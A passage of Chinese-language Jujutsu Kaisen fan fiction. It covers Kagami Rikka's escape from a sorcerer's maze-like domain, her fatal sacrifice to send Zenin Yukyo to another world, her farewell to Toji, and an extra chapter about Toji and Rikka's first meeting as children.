是啊,加贺见立夏不需要他的保护。可是,他还是想保护她。他这辈子最高兴的事,就是在那一天终于保护了她一次。
“去帮她,这是我最后一次,请求您。”
禅院佑京握紧了手掌,低下头。
良久,他听到对面的禅院直毘人叹了口气,起身离开了。
*
禅院甚尔闻到了熟悉的血腥味。
这种味道刺激着他的鼻腔,让他整个人的动作都变得狠戾,比以往更加无所顾忌地解决了试图阻拦他的咒术师。
他没有去看那些倒伏在地上,几乎辨不出人形的尸体,也没有花时间去检查活口,即刻循着血腥味跑过去。
天空被晚霞染得血红,禅院甚尔觉得这像极了六年前的那一天。要再快一点!他穿过一大片赤色的枫叶林,终于看到了加贺见立夏的身影。
她撑着一把红色的伞,背对着他站着,面前的地上躺着一个人。
禅院甚尔将她一把拥进怀里,她有些被吓到,但很快认出来是他,放松了身体,抬起头对他笑,“你那边已经解决了吗?”
“你——”
禅院甚尔猛然发现了血腥味的来源,那是加贺见立夏脖子上的一道横断式的伤口,几乎要把她的脖子完全切断。喷涌出的血已经将她胸前的衣服染得鲜红,还在继续往外冒。他的手罕见地颤抖着,去捂那道伤。
“没有看起来这么严重啦,不用担心。”加贺见立夏握住他的手,往下拽了拽,“真的没事哦,要摸摸看吗?”
血液温热粘腻的触感从指腹传来,禅院甚尔的心脏收缩了一下,他将掌心贴在加贺见立夏的脖子上,问她,“为什么没有愈合?”
“啊……有些特殊的原因,不用管它。我们回去吧,不要让佑京等太久。”加贺见立夏不打算跟他解释,自顾自的转移了话题。
对于她不想说的事,禅院甚尔从来都没办法强迫她。他只能告诉自己,这一次他会牢牢地守着她,不会再让她出事。
“地上这个人要处理掉吗?”禅院甚尔逐渐恢复冷静,任由加贺见立夏将他的手拿下来。
她的脸上仍挂着轻松的笑,握着他的手轻轻晃了晃,“不用,他跟我定了束缚,会有用的。”
你觉得事情不会这么轻易的结束。
刚刚被你和禅院甚尔解决掉的咒术师加起来不超过十个,如果那些人真的很想抓到三叶,不可能只派这么点人。
就算禅院直毘人跟你约定好不插手,也会有别的实力强劲的咒术师。他们派出一个不上不下的加茂,就像是在故意放松你的警惕。
不过,首要任务仍然是送禅院佑京离开。天色已经逐渐变暗,今晚是朔月,要在午夜降临前完成这件事。
脖子上的伤持续地往外流血,没有加茂家的术式影响,流速不会太快,但伤口的确越来越深,这意味着在鬼面的作用下,你和自己真正的躯体之间的联系在逐渐恢复。这对你来说不算坏事。
“立夏,不太对劲。”
禅院甚尔将你拦在了身后。
你握着鬼面的伞柄轻轻转了转,发动中的咒具没办法收进本体,你只能继续拿着它,打量了一下周围。
“看来是某个人的术式,或者说……领域吗?”
据你所知,目前的咒术界没几个人能展开领域,你在06年认识的五条悟和夏油杰已经是极其少见的天才,也都还没有学会。这让你终于有了被他们重视的感觉。
“甚尔,我们一起打破它吧。”
你再度兴奋起来,你意识到这是个难得的机会,可能会解决你目前的一个大难题。
“好。”
上杉悠志隐匿在暗处,监视着被自己拉入领域的这对男女,他们的实力的确不错,难怪家里那个老头一定要让他从国外回来。但他们注定要止步于此,因为,他的领域恰好是他们的克星。
你看着眼前的树林,层层叠叠的树影遮挡住来时的路,每走一步,就会有新的树从刚刚的位置突然长出来,将后路堵死。你和禅院甚尔在一分钟前被这样的树分开,你在走了几步之后,已经看不见他的身影。
这里是咒术师的领域,术师本人必然也在里面,领域本身有着攻击必中的效果,但你到目前为止没有看见术师,也没有受到任何攻击,身边只有这些无穷无尽的树。这很奇怪。
你取出一把刀往树干上划了划,没能留下任何痕迹,说明领域内的树都在被规则保护着。你找到一个稍显锋利的树枝,将手臂凑上去压了压,它同样没能对你造成伤害。
所以规则之一是,领域内的物体不受破坏。你拿刀往自己手上划了一下,这下成功冒血了,看来规则只在领域和人之间起效。
那么,如果能找到术师,同样可以破开领域。
想清楚这点后,你坐了下来。当你不再移动时,身边的树也不再变化。它们安静地伫立着,似乎在等待你的选择。
不会有无解的领域,咒术师的一切都遵循等价互换,这里虽然被布置得像个无尽的迷宫,但一定存在出口。
你从刚才走过的路途中看不出这些树出现的规律,如果它们的出现原本就是无序的,那么出口只会在一个地方,就是你们刚进领域的位置。
你刚刚走了多少步来着?
你回忆了一下,发现自己完全想不起来。可恶,看来这种方法不适合你。
你握着伞柄轻轻旋转,喉间的灼痛感提醒着你,时间所剩不多。
那个咒术师把你们关在这里的目的已经很明显了,他是在拖延时间。他知道你不会让鬼面重新落入他们手中,也无法立刻毁坏它,就只能将它带在身边。
但鬼面一旦开始使用,无法强行中止,它会持续发挥作用,将足以控制三叶的血肉,从这道伤口中拖回来。只要有足够长的时间,他们就可以达成目的。
那么,只剩下最后一种方法了。
*
你站在黑线延伸的终点,对面是红线的尽头,那里同样站着一个你,你们之间隔着一条流淌不息的河流。
“这段时间还顺利吗?”
“收集卡片麻烦了点,不过已经解决了。你做好准备了吗?”
“当然。”
你微笑着点头,抬起手,看着将你们的手腕相连的那根红线,这是河两岸唯一的联系,看起来再脆弱不堪,也足以成为一座连通世界的桥。
这里是彼岸,是濒死才能抵达的地方。半个月前,在禅院佑京做出选择后,你拜托九十九由基帮你进入这个状态。正如你所预期的那样,你在这里见到了阔别已久的身体意识。
她被时空乱流带去了更早的时间,同样经历了一系列事件,才回到正确的时间点。你们曾经的记忆都已恢复,分离后的记忆很遗憾没有互通,但你们的确是一个人,这一点无论如何不会改变。
“佑京就拜托你了。”
“要好好地和他道别。”
你们同时出声,又同时说了句好。
*
禅院
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甚尔仍然能闻到加贺见立夏的血腥味,但是去路被大片树林挡住,这些树无法破坏,他只能在有限的范围内一步步走动,试图靠近她。
禅院甚尔很快就发现这种方法行不通。这里是一个巨大的迷宫,迷宫内没有直行道。如果要找到加贺见立夏,最好是回到刚刚进来的位置,他记得自己一共走了27步,只需要倒退着回去。
上杉悠志将目光从那只靠着树沉睡的咒灵身上移开,注意到另一边的禅院甚尔在试图回到原点。他有些惊讶,几乎没有人能想到迷宫的出口所在,即便想到了,也会在最开始的莽撞行动中迷失方向,从而彻底失去逃脱的可能。
从来没有人能走出他的迷宫!
他注视着禅院甚尔,不自觉地坐直了身体,禅院甚尔已经退到了最后一步,落地前,突然抬头朝他看了过来。上杉悠志悚然一惊,发现自己暴露了位置,禅院甚尔下一秒就出现在了他面前,眼中带着嗜血的杀意,手里的咒具狠狠击上他的天灵盖。
“抓到你这个藏头露尾的家伙了。”
*
禅院直毘人站在代表着领域的巨大球体前,叹了口气。
他一路上解决掉了不少埋伏着的咒术师,有人认出了他,问他是不是想背叛咒术界,他打哈哈说自己只不过是出门遛弯,顺便抢个功劳。
这可是他那个儿子一生一次的请求啊。
试着打破它吧。
禅院直毘人摆好攻击的架势,目光直视着眼前的球体,浓郁的咒力集聚在握紧的拳上,直至全然忘我的刹那,猛地朝前打出。
与此同时,树下的你睁开眼,将食指抵在唇前。
[领域展开·虚无之境]。
巨大的黑闪连同漆黑的咒力一齐由内迸出,球体表面瞬间出现无数的裂痕,砰的炸开。上杉悠志的尸体砸在地上,禅院甚尔带着你跳出来,你抓住禅院直毘人的手臂,将他从吞噬一切的黑暗中拉回。
“带我去佑京那里,快!”
这是你第一次成功展开领域,效果是将领域范围内的一切吞噬。高层为了捕获你,提前在四周布下了帐,至于太阳升起后如何向外界解释整座山都消失掉的异状,就不在你的考虑范围内了。
你在禅院佑京身边留下的咒具名为[千寻尺],是一把特级咒具。为此你专门去翻了加贺见立夏的私人仓库,那里堆放着被你搜集来的各式咒具,原本是打算等禅院甚尔过生日的时候一起送给他,作为……
罢了。
千寻尺可以在有限时间内构建出一个无法用任何方法破坏的绝对安全领域,限定范围越小,持续时间越长。你这一次设定的是直径两米的区域,但无法确定虚无之境会对它造成多大的影响。
你很快就看见了千寻尺散发出的微光,那束光在这片黑暗中显得格外明亮。你发现它不愧是花了大价钱买来的特级咒具,不仅在它划定的范围内一切完好,就连那棵枫树也都好端端的。
禅院佑京坐在树下,看着你们朝他奔来。他的眼睛在看到你的瞬间亮了亮,刚要露出微笑,脸上的表情就被惊愕取代,“你受伤了!”
你知道自己目前大概是个什么状态,你牵了牵嘴角,表示自己并无大碍,将手伸进那个空间内拔出了插在树上的千寻尺。
它识别出了你的咒力,并未阻拦。你随手把它递给了禅院甚尔,俯身握住禅院佑京的手腕。
“佑京,准备好了吗?”
“这一次……会是永别吗?”禅院佑京艰难地吸了吸气。
“我想是的。还有什么话想说吗?”
禅院佑京垂下头,你以为他要哭了,但他只是用力眨了眨眼睛,就抬起头重新看向你们。
“照顾好立夏。”他对着禅院甚尔说,而后看向了一旁的禅院直毘人,“谢谢您。以后,忘了我吧,父亲。”
“立夏……”他最后看向你。
你们都有一个尚未询问对方的问题,但此刻,你们都明白,不需要再问了。
你轻轻叹了口气,重新露出微笑,“那么,开始吧。”
32.十二朵花
黑雾渗入无尽的黑暗中,几乎辨不出形貌,禅院佑京的身体被完全遮挡住。一根黑色的线从浓雾中探出,碰了碰禅院甚尔的脸颊,无声地催促他退远些。
禅院甚尔和禅院直毘人后退了几步。刹那间,他们看见了贯穿天地的龙卷风,被虚无吞噬的大地深不见底,无星无月的天空浩瀚无垠,却同时散发出暗沉的红光。
他们听到了风的撕扯和洞穴的回音,一阵令人极度不适的扭曲力拉扯着他们的躯体,又转瞬消失。
禅院甚尔发现手中的千寻尺开始发光,那光芒笼罩住他和禅院直毘人,而周遭的虚无则开始向内坍缩,暴露出世界原本光秃的形貌,他们也随之降落到地上。
突然间,风停了。
几乎拧成绳状的风柱凝固在空中,禅院甚尔感觉到了一阵强烈的心悸,他将千寻尺塞给禅院直毘人,直接朝那边跑去。
领域被彻底收回,风柱也于同时消失无踪,世界的死寂中,禅院甚尔看到了一片飘落的影子。
他很轻易地接住了她。她的身体很轻,衣服上的血迹已经干涸,脖子上的伤口也不再流血,安静地蜷缩在他怀里。
“立夏,立夏。”禅院甚尔很小声地叫她的名字,像是在将她从睡梦中唤醒。
“立夏。”禅院甚尔的掌心贴上加贺见立夏的脸颊,那里的温度比平时低,让他有些不知所措。
不知道过去多久,一只手搭上他的后脑勺,轻轻摸了摸他的头发。
“不要哭呐,甚尔。”
禅院甚尔慢慢地抬起头,加贺见立夏的手指滑落到他的脖子上,那双眼睛里带着点笑意,温柔地看着他。
“你真的没事吗?”禅院甚尔仔细观察着她的脸色,咬了咬牙,“不要骗我。”
“啊……其实是有事的。”加贺见立夏的声音很轻,带着她惯常的狡黠,又显得没所谓,“我快要死了。”
“你说什么?!”禅院甚尔浑身的血液都凉下去,他抱紧了加贺见立夏的身体,难以置信地问,“你不是说,只是虚弱一点,很快就能恢复吗?你不是说,不会突然离开我吗?”
“抱歉,那些都是骗你的。”加贺见立夏看着他,竟然笑出了声,“因为现在的甚尔真的很好骗,让我有些忍不住嘛。”
“加贺见立夏!”
禅院甚尔像是第一天认识加贺见立夏那样看着缩在他怀里笑得停不下来的她,他发现比起看见她哭泣,他更加受不了她这副样子。
加贺见立夏自己停了下来,那种笑容还留在她的脸上,像是始终沉浸在快乐的情绪里。
“甚尔,答应我一件事吧。”
“你还想要什么。”禅院甚尔不知道自己在以怎样的心情和她说话,他真的想质问她,你要逼迫我到什么时候?
禅院甚尔甚至无法确定,加贺见立夏是否真的爱过他。每当他察觉到那双眼睛里流露出的爱意,都会在下一秒被她亲手推入地狱。就像在那个他以为她终于坦诚一切的夜晚,她依然欺骗了他。
“我想要你幸福。”加贺见立夏似乎哽咽了一下,禅院甚尔将它归于自己的错觉,因为她的脸上仍然带着笑,“答应我,无论如何,要好好活着。”
“你不能这样对我。”禅院甚尔捏住加贺见立夏的手腕,她的指腹贴着他的脸,像她这个人一样冰冷。
“甚尔,答应我吧。我保证,这是最后一次啦。”
察觉到他这次真的不打算妥协,加贺见立夏脸上的笑容变得牵强,她像是终于意识到自己做错了事,皱起了眉,让他有短暂的心软。
“甚尔,对不起。”加贺见立夏用另一只手抓住他胸前的衣服,急切地说,“你知道的,这不是永别啊,我们还会再见面,到那个时候——”她猛然失声。
“立夏!”禅院甚尔的心跳几乎停止,加贺见立夏的手指松开,她的瞳孔有些涣散,眼中残留着他的影子,嘴唇很轻地动了动。
“……随你处置吧。”
*
禅院佑京反握住加贺见立夏的手,她的另一只手盖住了他的眼睛。
“在抵达前,不要睁开。”
“嗯。”
那只手移开了,禅院佑京很听话地闭着眼,手上的力道骤然一松,他的眼睫颤了颤,手指往前捞,一根线贴着他的指尖缠绕上他的手腕,迅速收紧。
禅院佑京克制住睁眼的冲动,听到了猎猎风声,但很快,那些声音像是被什么阻隔在外,又或者,是他被裹进了一个密不透风的地方。
手腕上传来的拉力将他整个人从虚空中拽起,禅院佑京伸手握住那根细细的线,试探地喊了声,立夏?
他没有得到回应,短暂的平静后,是从全身上下传来的疼痛。体内残存的咒力疯狂地从缺口泻出,他的躯体被一股力挤压着,这是一种久违的,曾经独属于梦魇的体验。
禅院佑京已经很久没有感受到这样强烈的痛,他像是回到了那个漫长又难捱的冬天。再一次置身其中,他才发现,自己其实已经不记得当初是靠什么熬过去的。
但这一次不一样,那根线始终牵引着他,纤细,却坚韧。禅院佑京紧咬着牙,浓烈的血腥味充斥鼻腔,他痛得发狂,却清醒地知道,他能度过。
在察觉到光亮时,那根线突然断了。禅院佑京来不及惊慌,就落入了一个怀抱。痛意让身体变得迟钝,他睁开眼,只看到大片晕散的白光,那个人稳稳地接着他,是令他熟悉的安心感。
立夏。
感官逐渐恢复时,他喊出了她的名字。耳畔是凛冽的风声,她的怀抱很温暖,有春天的味道。
她说,欢迎来到新世界,佑京。
*
从那个世界回到这里时,你曾以为自己拥有数不尽的时光。
和九十九由基相识的那天,你意识到自己仍有很多想要去做的事。
但是,在与禅院佑京重逢,并做出那个决定后,你知道时间将永远都不够用,你想要的未来不会到来。
如果一直没有恢复记忆,是否就可以一直无忧无虑地生活?你偶尔也会产生这样的想法,但你还是走到了今天,走到了这个属于你的,必定的结局。
与身体意识恢复联系时,你看着站在河对岸的她,她同样看着你,即便你们分离了一段时日,你们依然在以一致的步调前行。
你对她说,我见到了他。
她说,那太好了。
你说,我不想去打扰他。
她说,真遗憾。
你不需要解释什么,她明白你所有的顾虑和担忧,明白你一旦做出决定就决不允许自己后退,因为你们就是这样的人。
你找不到让所有人都幸福的办法,发生过的事无法改变,死去的人不会复生,时间是条单行线,你只能一直往前。
所以你想,至少要和他好好道别。
你想让他原谅你的肆意妄为,原谅你的一意孤行,原谅你的隐瞒和欺骗,但这种要求本身就很任性。
你最终也没能想好怎么开口,时间却已经不够了。你松开手里的鬼面,在虚无之境中变回黑雾的原形。
你与三叶的意识融合接近尾声,那些无序的黑线在雾中交织缠绕,人身的伤口化作其中唯一的一根红线,被鬼面牵引着探出,系在禅院佑京的腕间。
开启世界通道需要巨大的能量,也需要确切的方向。你准备好了一切,剩下的是将世界斥力阻隔在外,将禅院佑京安全地送往另一个你所在的地方。
那根红线是你与她之间仅剩的联系,这次之后,将会永远断开,这是必然的代价。
在那之后,是真正的死亡。世界斥力会将你直接撕碎,或者幸运些,多给你一点时间,让你能多做一点什么。
你曾经说过要拉着整个咒术界陪你下地狱,你并不是在说大话,但你注定看不到那一天。
你所拥有的,仅仅是现在,仅仅是,一个瞬间。
你听到禅院甚尔在叫你的名字,他只会在你睡着的时候,或者打瞌睡的时候,用这样轻的声音叫你。像是担心吵到你,又不得不把你唤醒。
“我睡着了吗?抱歉。”
你摸了摸嘴角,确认自己没有把口水沾到他的衣服上。十六岁的禅院甚尔坐在你身旁,稍稍放松了下肩膀,认真地看着你,“太累的话就再多睡一会。”
“现在有些迟了吧。”你缓慢地伸了个懒腰,笑眯眯地看着他,“我都听到你叫我了。”
“你可以装作听不到。”他别开脸。
他偶尔会说出这种让你觉得有趣的话。
你顺着他的意思点点头,“你说的对,今天是立夏休息日,我可以想休息多久就休息多久。”
“哪有这种节日?”
你越发觉得这是个好主意,脚步轻快地走到办公室的门边,悄悄地拉开一条缝,朝
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外看了看。
“你在看什么?”
禅院甚尔跟在了你身后,和你一同往外看,你转过头对他比了个嘘的手势,拉着他的手从办公室里溜出去。
正赶上午休时间,你们一路上都没遇到人,你从来没有干过这种事,兴奋和紧张的情绪交织,一口气跑到街角才停下来,抓着他边喘气边忍不住地笑。
“不是说今天是立夏休息日?还需要这么偷偷摸摸的吗?”
“好嘛,不要拆穿我。”你终于缓过气,笑着抬起头,戳了戳他翘起来的嘴角,“难得的休息日,甚尔想去哪里呢?”
他无奈地看了眼你迅速收回的手,“随便去哪都可以。”
“那——回家怎么样?”
“难得的休息日,立夏就只想待在家里吗?”
“在家才能休息好啊。哎?!你干嘛学我说话!”
你后知后觉的脸颊发烫,他转身走在了前面,等你追上去,看到了他脸上尚未收回的笑。
“笨蛋甚尔,背我回家啦。”竟然被他成功耍到,你心里有小小的不平衡,勾着他的脖子往他背上跳。
“上来吧。”他弯下腰,接住了你。
回公寓的路上种满了樱花树,粉白的花瓣夹在风里,纷纷扬扬的像下着一场大雪。有几片落在他的头顶,被你仔细地拈走了。
“又在做什么?”他仰了仰头。
“帮你把花瓣拿掉哦。”你拨弄着他的头发,把他轻轻按回去,觉得手感很好,又不客气地揉了揉。
“别弄了,当心摔下去。”
“才不会呢。”他明明背得很稳嘛。
你心安理得地趴回去,看着道路两旁熟悉的风景。公寓距离不远,很快就能走到,楼下有个废弃的小公园,两棵老树花开正盛,地上铺着厚厚的樱花雪。你很少在这个点回来,还是头一回看见它们在春日的全貌,很是新奇。
“哎,我们去那里看看吧。”
“好。”
公园里空无一人。你拍拍他示意他放下你,看了看旁边的居民楼,发现没有人在注意这边,就走到公园里一人高的滑梯前,爬上去,抱着膝蹲坐着滑下去。
短暂的失重感让你忍不住发出小小的欢呼,滑到底部时有些重心不稳地后仰,被他抓住手臂及时地拉回来。
“谢谢。”
你扶着他的胳膊站起来,以为他会说这个有什么好玩的,或者想玩可以去游乐场之类的话,结果他只是看着你,勾了勾嘴角,问你要不要再来一次。
“好啊。不要告诉别人哦。”
你松开他的手重新爬回去,开开心心地又滑了一次。风短暂地吹开脸旁的发丝,空气里带着樱花的甜香,他等在滑道的尽头,看着你朝他靠近,将你从地上拉起。
“玩这个的时候不会累吗?”
“当然啦。”
你逐渐从这个过分美好的梦中抽离,听到了耳畔的呼吸声,那个声音在寂静的夜里显得清晰又压抑,你抬起手,摸了摸他的头发,和记忆中一样的柔软。
“不要哭呐,甚尔。”
你很喜欢看见他笑起来的样子,但在重逢的这段时光里,你似乎总让他不开心。
他抬起头,那双眼睛里含着泪,被他逼退,皱起眉恶狠狠地瞪你,问你到底有没有事,让你不要再骗他。
如果这是你最后能答应他的,那好吧。
你对他说了实话,他的脸上带着震惊与错愕,似乎没想到你会在这种事情上说谎。你看着他的脸,想到回忆里的那个春天,竟然有种扳回一局的荒唐想法。
你不敢告诉他这个,却笑得无法停止。他很快就会发现你欺骗他的事远远不止这一件,你一直想让他过得幸福,结果总是事与愿违。你做任何事都会给自己找理由,唯独在关于他的事情上过于随心所欲,把一切都弄糟了。
人在临死前真的会后悔吗?你不认为自己是这样的人,但在他拒绝妥协的这一刻,你的确开始疯狂地后悔,你们之间应该有更加正式的道别,可是时间不够,时间永远不够。
你想要再多看他一眼,把以往错过的那些都补回,告诉他你不想离开。但那毫无意义,你不能说这些,你只能对他许下一个更加无意义的承诺。
你说,我们会再次相遇。
[对不起,甚尔,擅自接近你,又擅自抛下你。对不起。我保证,这是最后一次了。]
33.番外一 初见[番外]
天与咒缚,完全0咒力,由此换来强度远超常人的身体。
在禅院家,禅院甚尔是“透明人”般的存在。不,比透明人的处境更差一些,因为无法祓除咒灵,自幼时起就被丢进诅咒中自生自灭。那些继承了术式的幸运儿们在长辈的照拂中长大,对他这个异类抱有天然的敌意。他的母亲,那个因他的缘故地位一落千丈的可怜人,对他的遭遇不闻不问,只会终日枯坐房中垂泪。
禅院甚尔,是在被纵容的恶意中独自一人长大的。
离死亡最近的一次,大约是十岁。禅院家的人护着受伤的嫡子离开,他再一次被遗忘,没有咒具,拼尽全力才逃出来,被咒灵咬到的伤口不停地流血,再过一会,天与咒缚的身体也无法挽救他的生命。
禅院甚尔躺在地上,大口大口地呼吸着最后的空气,眼前的景象逐渐模糊,有个声音由远及近,像濒死时的幻听。
“你流了好多血。没事吧?”
禅院甚尔听到对方在喊人,勉强睁开眼睛记下了她的样子。同时,也看见了她背后张开獠牙的咒灵。
加贺见立夏本该在那时死去。
黑色的咒灵被狠狠砸进地面,禅院甚尔的血喷出来,加贺见立夏瞳孔紧缩,半边身体被染得鲜红。
禅院甚尔没有昏迷后的记忆。
意外救下加贺见家独女的事让他在禅院家的处境变得有些微妙,那些明里暗里的讥讽嘲笑一夜之间换了风向,流言在加贺见立夏住进禅院家之后愈演愈烈。
“为什么跟着我?”
走了一路也没能甩掉这个跟屁虫,禅院甚尔停下来,没好气地扭头问。
跟在身后的女孩笑眯眯的,步伐轻快地走到他身边,“因为在这里除了甚尔,我和其他人都不熟嘛。”
“哈?我们也没有多熟吧。”
“但是甚尔救了我啊,我们是生死之交了。”加贺见立夏一脸的理所当然。
禅院甚尔有些郁闷,又因为一时没能想到反驳的话,而错过了反驳时机,变得更加郁闷。
“为什么要住进禅院家?”禅院甚尔啃着第三块馒头,问起这个很多人都好奇的问题。
“因为父亲说,这里是最安全的。”加贺见立夏坐在旁边小口小口地咬着饭团。
禅院甚尔冷笑。咒术师的宅邸明明才是最危险的地方。
“这里可不是普通人该待的地方。”禅院甚尔拍了拍手上的残渣,仰躺到屋顶上,“一不小心就会没命的。”
“嘛,反正也没人赶我走。”加贺见立夏吃完了饭团,学着他的样子躺下来,侧着身子看他,“有危险的话,不是有甚尔保护我嘛。”
“……”禅院甚尔再次语塞,不太自在地撇过头去。
禅院甚尔睡醒时,看到了繁星点点的夜空。耳畔是夏夜的虫鸣,和加贺见立夏浅浅的呼吸声。
“甚尔君,你想听我的故事吗?”
“不想。”禅院甚尔枕着手臂,没有起来的打算,禅院家的人不会在意他在哪,他也不想管这个新来的拖油瓶,“干嘛突然用敬语?”
“因为我想强迫你听。”
加贺见立夏似乎是笑了。禅院甚尔总是无法理解她的脑回路,而加贺见立夏显然把他的沉默当作了退让,自顾自的开口了。
“小时候,家里只有我一个人能看见咒灵。小孩子莫名其妙的哭闹,被当成是向忙碌的父母撒娇的手段。
“后来,我的身上出现了伤口,父亲换掉了家里的佣人,还是无济于事。再后来,他们终于肯相信我说的话,相信家里有怪物这件事。
“那个怪物,就是我。”
禅院甚尔往旁边看了眼,加贺见立夏的眼睛里倒映着星光。
“那天,我把哥哥从二楼推了下去。我还记得他们看我的眼神……妈妈无论如何都不相信这一切都是我的自导自演,但她最后还是妥协了。
“在我成为加贺见家的又一个污点之前,他们把我送去了京都的外祖母家。再后来……我就遇见了甚尔。”
加贺见立夏侧过身,笑得眉眼弯弯。
“切。”禅院甚尔选择无视掉对方的最后一句话,“你不生气吗?”
“嗯?生我爸妈的气吗?当然会了。”加贺见立夏抬头看着夜空,“没有试图花时间寻找真相,而是将最可能有问题的女儿送走,是彻底的商人做派呢。”
“但是现在也不错,我很喜欢这里。”
“……那是因为你还不知道禅院家是个怎样的垃圾场。”
“没关系的。我喜欢这里,是因为在这里我不再是奇怪的那一个。”
既然这样,你就更不应该跟我这种人走得太近啊。不知道为什么,禅院甚尔没能把这句话说出口。
短暂的静默被一声喷嚏打破。
“甚尔,我们回去吧,上面好像有点冷。”加贺见立夏抱着胳膊,吸了吸鼻子,不好意思地笑了笑。
“冷的话不会早点说吗?”禅院甚尔坐起来,从屋顶上跳下去,走了几步之后没听到身后的动静,回过头,“怎么了?”
加贺见立夏趴在屋顶边缘,脸色有些发白,露出一个难看的笑,“甚尔,我好像,下不去哎。”
禅院甚尔走到屋檐下方,看了眼对他来说轻而易举的高度,无奈地伸手,“跳下来,我会接住你的。”
“你千万……不要骗我啊。”
“你好啰嗦。”
下一秒,一个小小的身体撞进了他怀里。加贺见立夏紧紧闭着眼睛,脸上是视死如归的表情,禅院甚尔忽然觉得这一幕很好笑,捏了捏她的脸,“喂,睁眼,我接住你了。”
在加贺见立夏的坚持和所有人的默认下,禅院甚尔成了加贺见立夏的保镖。或者,从年龄上看,称为玩伴会更加合适。
没有人问过禅院甚尔的意见,当然,也没有人在意。
禅院甚尔从小独来独往,一个人自在惯了,被加贺见立夏跟了几天,就有些受不了,开始躲她。
加贺见立夏则表现出了她这个年纪的孩子少有的执着与耐心,几乎翻遍了禅院甚尔常待的所有地方。禅院甚尔躲得十分辛苦,最后不得不爬到禅院家一棵枝繁叶茂的大树上躲起来。
“请问你有没有看见甚尔君?”
加贺见立夏的声音传来时,禅院甚尔直接从睡梦中惊醒,差点以为自己又一次被她发现了行踪。
加贺见立夏正站在树下和一个人说话,禅院甚尔悄无声息地藏在树冠的阴影中,认出另一个人是禅院家的嫡子,禅院佑京。
树下的人胳膊上缠着绷带,脸上带着病气,皮肤像是常年晒不到太阳,没什么血色。
禅院佑京好不容易养好腿上的伤,看到天气好想出门转转,结果因为手上的伤没好,被家主勒令不准骑马,才发过一通火,没走两步又被一个不知道哪里冒出来的小丫头拦住,语气自然不怎么好。
“你是哪一支的?见到我怎么不用敬语?”
禅院佑京上回这么说话时,被禅院甚尔揍了一顿,从此两人的关系势如水火。只不过禅院甚尔在整个禅院家都不受待见,不把禅院佑京那点敌意放在眼里。
加贺见立夏似乎并不在意对方的语气,认真地解释,“我叫加贺见立夏,借住在禅院家。你是谁呢?你看起来没比我大多少,为什么要对你用敬语?”
禅院佑京那张没什么血色的脸上迅速泛起红晕,禅院甚尔还是头一回看到他露出这种表情。
“噢,原来你就是那个加贺见……咳,我是禅院佑京,禅院家的嫡子,下一任家主,你一定听说过我吧!”
加贺见立夏迎着禅院佑京带着点期盼的眼神,礼貌地微笑,“我刚来没多久,不知道呢。”
“哦。”禅院佑京看起来有些失望,不过他很快就想起加贺见立夏最开始问他的问题,皱起了眉,“你在找禅院甚尔?找他干什么?他不过是个一无是处的垃圾。”
“甚尔才不是你说的那样。他救了我,他很厉害,人也很好。”加贺见立夏几乎是立刻摇头反驳。
禅院佑京显然也听说过这件事,眉头皱得更紧,“那是他该做的!他有什么厉害的,连术式都没有的家伙……喂,你以后跟着我,我来保护你。”
加贺见立夏沉默了一会,禅院甚尔看不见她的表情,莫名有些焦躁和不爽。面对着她的禅院佑京却看得清清楚楚,加贺见立夏的目光落在他缠着绷带的手臂上,抿着唇,欲言又止的模样。
“喂……我这是意外!意外!”禅院佑京耳根发烫,不能忍受被人用这种眼神看着,伸手去拉加贺见立夏,“你跟我来!”
“哎。”加贺见立夏猝不及防,被拽得一个踉跄,又挣不开,只能小跑着跟在他身后,“要去哪?”
禅院佑京目视前方,耳畔除了风声,仿佛还有血液潺潺流动的回响,握在掌心的手和他的差不多大,但比他的更柔软,更温暖,他悄悄地捏紧了些。
“到了。”
主屋的仆人看到禅院佑京回来,纷纷停下手里的事,向两人行礼。禅院佑京这才觉得自己正常了些,他松开加贺见立夏的手,一手虚握成拳抵在唇前,装模作样地咳了一声,“是不是还不错?”
“哈……你是指……哪里?”加贺见立夏喘着气。她的体力不算太好,一停下,眼前就有些发晕。
加贺见立夏看着面前古朴的房屋,实在瞧不出它和禅院家的其他建筑有什么不同。
禅院佑京脸上的得意垮下来,他看了眼加贺见立夏泛红的脸,迅速移开视线,带着她往里面走,“喏,这是我住的地方。”
“这里的人都听我的话。以后,禅院家也会是我的。”
禅院佑京失望地发现,加贺见立夏对他的这句话也没有什么反应。
“你家里呢?也有很多仆人吗?加贺见家是在东京吧,我还没去过东京呢。”
加贺见立夏愣了一下才反应过来,“我家里没有禅院家人多,我和爸爸妈妈,还有哥哥住在一起。”
事实上,加贺见立夏只是在想禅院甚尔
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住着的地方。哪怕房子从外面看起来都一样,进到里面就会发现,嫡子的住所比一般人的要宽敞、精致得多。而甚尔的处境,显然比一般人更差。
“……你为什么会来禅院家啊?肯定不是因为那家伙,我听他们说,你能看见咒灵,你也有咒力吗?”
“我不知道。”加贺见立夏突然之间失去了耐心,她打断了禅院佑京的话,这对她来说是个不太礼貌的举动,“抱歉,佑京君,有些晚了,我该回去了。”
禅院佑京脸上的笑容僵住,那层薄薄的血色迅速消退,突然,他眼睛一亮,急急地拽住了加贺见立夏的袖子,“你和我一起吃晚饭吧!吃完饭,我让仆人送你回去!”
加贺见立夏摇了摇头,“下次吧。”
和服的袖子很软,很轻易地就从禅院佑京的手里滑了出去。
禅院甚尔躺在树上,怎么也睡不着,蝉鸣前所未有的聒噪,但如果撇开这个声音,整个禅院家又静得可怕,像一座巨大的坟墓。
禅院甚尔起身爬到了树梢,一些正在休憩的鸟被他惊动,扑簌簌地飞远了。他俯瞰着脚下的宅邸,天与咒缚的体质能让他看得很远,每一处庭院都显得极为相似,仆人们安静地工作,存在感低得像蚂蚁,在他们的主人眼中,他们也确实和蚂蚁没什么分别。
他的目光不由自主地看向最中央的那片楼宇,那里的建筑比别处更古老,更高大,空气也更沉闷,更压抑。高楼投下的阴影吞噬着庭院和道路,也吞噬着生活其中的人。
加贺见立夏不属于那里。
禅院甚尔告诉自己,他只是想带她离开,送她去她该去的地方。
从很小的时候起,禅院佑京就很喜欢抢禅院甚尔的东西,没有人会忤逆嫡子,去帮助一个注定的“失败品”,所以禅院甚尔很早就学会了怎么让禅院佑京闭嘴,怎么让他再也不敢来招惹自己。
加贺见立夏不是物件,不属于他。但是,她也不会属于那个地方。
禅院甚尔松开抓着树枝的手,从树梢一跃而下。落地的下一秒,他的瞳孔稍稍张大——道路尽头,加贺见立夏提着和服下摆,正在朝这边跑来。
“你……”禅院甚尔一时失语。
加贺见立夏跑得很快,像是笃定自己能找到禅院甚尔,不管不顾地跑。但直到树下的人影映入眼帘,她的脸上才终于露出一个真切的笑。
“找到你啦。”
